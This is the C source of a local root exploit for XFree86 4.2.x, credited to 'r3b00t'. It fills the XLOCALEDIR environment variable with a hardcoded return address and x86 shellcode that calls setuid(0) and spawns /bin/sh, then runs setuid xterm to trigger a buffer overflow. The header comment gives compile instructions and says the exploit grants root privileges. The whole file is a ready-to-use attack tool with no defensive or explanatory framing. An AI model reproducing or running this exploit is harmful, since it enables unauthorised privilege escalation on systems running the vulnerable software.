/*
 xf42local.c for XFree 4.2.x by r3b00t <r3b00t@tx.pl>
 -----------------------------------------------------
 this exploit works with programs that use $XLOCALEDIR
 environment variable and gives root privileges.
 this bug was discovered by tarranta and dcryptr.
 compile: gcc -Wall -O2 -o xf42local xf42local.c
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFF_SIZE 4072

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"  /* setuid(0); */
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"  /* execve();  */
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80";    /* exit(0);   */

int main() {
    char buffer[BUFF_SIZE];
    int ret=0xbfffeff5;
    int i;
    printf("xf42local.c for XFree 4.2.x by r3b00t <r3b00t@tx.pl>\n");
    printf("ret addr: 0x%x\n", ret);
    for (i=0;i<BUFF_SIZE;i+=4) *(long *)&buffer[i]=ret;
    memcpy(buffer, shellcode, strlen(shellcode));
    setenv("XLOCALEDIR", buffer, 1);
    execl("/usr/X11R6/bin/xterm", "xterm", 0);
    return 0;
}